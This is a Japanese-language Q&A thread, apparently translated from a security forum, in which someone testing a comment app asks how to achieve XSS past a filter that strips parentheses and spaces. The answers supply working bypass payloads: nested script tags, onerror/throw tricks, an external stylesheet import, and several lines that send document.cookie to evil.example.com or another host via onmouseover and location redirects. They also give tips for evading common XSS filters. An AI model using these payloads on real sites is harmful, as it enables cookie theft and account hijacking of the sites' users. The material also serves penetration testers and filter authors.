_http://google.com
_という形式のリンクを取得し、hrefタグに挿入するコメントアプリケーションをテストしています。
_<a rel="nofollow" href="http://google.com">
_
結果のコメントから_http://
_または_https://
_が取り除かれます。
テストでは、ページにhttp://"onmouseover="alert(1);
があるように、何らかの形で<a href="http://"onmouseover="alert(1);">
を利用しようとしましたが、機能していません。
より詳しい情報:
かっこは除外されます。さまざまなエンコーディングを試しました。
_<script>
_タグはフィルタリングされますが、_<scr<script>ipt>
_を使用してこれを回避できます。
スペースは使用できません(スペースを使用するとタグが壊れます)。私はASCIIおよび%20を試しました。
セミコロンを使用できますが、最後の文字になる場合は2倍にする必要があります。
山括弧、二重引用符、一重引用符、スラッシュ、バックスラッシュ、コロンはすべて、フィルターなしで通過します。
以前に使用したことがある_<script>alert;throw 1;<script>
_を使用する方法が本当にわかりません。何も実行しないようで、実行してもスペースを使用できません。
何か案は?
私の例では次のフィルターを想定しています(説明と一致しているようです。script
および_;
_フィルターは無視してください。簡単にするために、回避できると言っていました)。
_$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
echo 'space!';
} else {
$replaced = str_replace(array('(', ')'), '', $_GET['v']);
echo '<a href="' . $replaced . '">link</a>';
}
_
スタイルシートを含める
次のように XSS経由でスタイルシートを含める が可能です。
_"><style>@import'http://evil.example.com/xss.css';</style>
_
これでWebサイトのレイアウトを変更できるようになりましたが、これは悪くありません。
CSS経由のXSS
上記でリンクした投稿で、CSSを使用してJavaScriptを実行する方法の1つを確認できます(background-image: url('javascript:alert(document.cookie);')
;私にはうまくいきませんでしたが、うまくいくかもしれません)。
そして、Webで さらなる可能性 を検索できます(IEの古いバージョンのexpression
など)。
スペースでのonerrorの使用
_
<script>alert;throw 1;<script>
_の使い方がわかりません
これはかなり良い説明です onerror XSSの仕組み 。
上記のmy PHPコードを変更して空白を許可する(if
を削除する)場合、これを攻撃に使用できます。
_"><script>onerror=alert;throw 1;</script>
_
基本的に、エラーが発生した場合、アラートが呼び出される(エラーを引数として)と述べています。そして、エラーが作成されます。 _throw "XSS"
_を使用すると、XSS
が警告されます。
スペースなしでonerrorを使用する
いいこと? スペースすら必要ありません:_throw+1
_も同様に機能します。
スペースだけでなく、すべての空白が除外されている場合、これも機能しません。ただし、これをsomething
に変更すると、引き続き機能します(something
が定義されていないため、参照エラーが発生します)。
スペースはフィルタリングされているが、空白はフィルタリングされていない場合
次のようなフィルターがある場合:元のコードの空白正規表現の代わりにstr_replace(array('(', ')', ' ')
を使用すると、スペースを_+
_に置き換えることができます。たとえば、次のようにします。
_"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie
_
どうですか:
javascript:document.location.href='http://www.example.com/'+document.cookie
または
"/><scri<script>pt>document.location.href='http://www.example.com/'+document.cookie</script>
彼らはあなたが発見したフィルタリングルールを順守していますか?私が理解しなかった唯一のビットはあなたが言ったときでした:
結果のコメントから
http://
またはhttps://
が削除されます。
<a>
タグと</a>
タグの間の部分ですか?http://www.google.com
は通常<a rel="nofollow" href="http://google.com">google.com</a>
としてレンダリングされますか?
まず第一に、実際には/
charを使用してhtml内のタグを分割できます。一般的な例は、<svg/onload=alert(1)
です。
あなたの場合、http://"/onmouseover="alert(1)
のようなペイロードを試してください。うまくいくはずです。
次に、ペイロード内のセミコロンなど、ペイロード内の不要なシンボルを回避してみてください。また、引用符"
はほとんどの場合不要な記号です(今のところはそうではありません)。したがって、onload=<your_paylaod>
の代わりにonload="<your_payload>"
を記述してみてください。
3番目に、onclick
やonmouseover
などのser-interactionアクションを使用しないでください。 onload
、onerror
を使用するか、onfocus=<your_payload> autofocus
のように組み合わせます。
次に、括弧が許可されていない場合は、括弧の代わりにPromptを使用してみてください。 (ウィキフォーマットでは、ストローク内の値を印刷することができないため、理解していただければ幸いです。
最後に、一般的なxssフィルターをエスケープするには、Prompt(1)
の代わりにalert(1)
を使用し、<svg
の代わりに<img
を使用し、document['cookie']
の代わりにdocument.cookie
を使用します。
幸運を。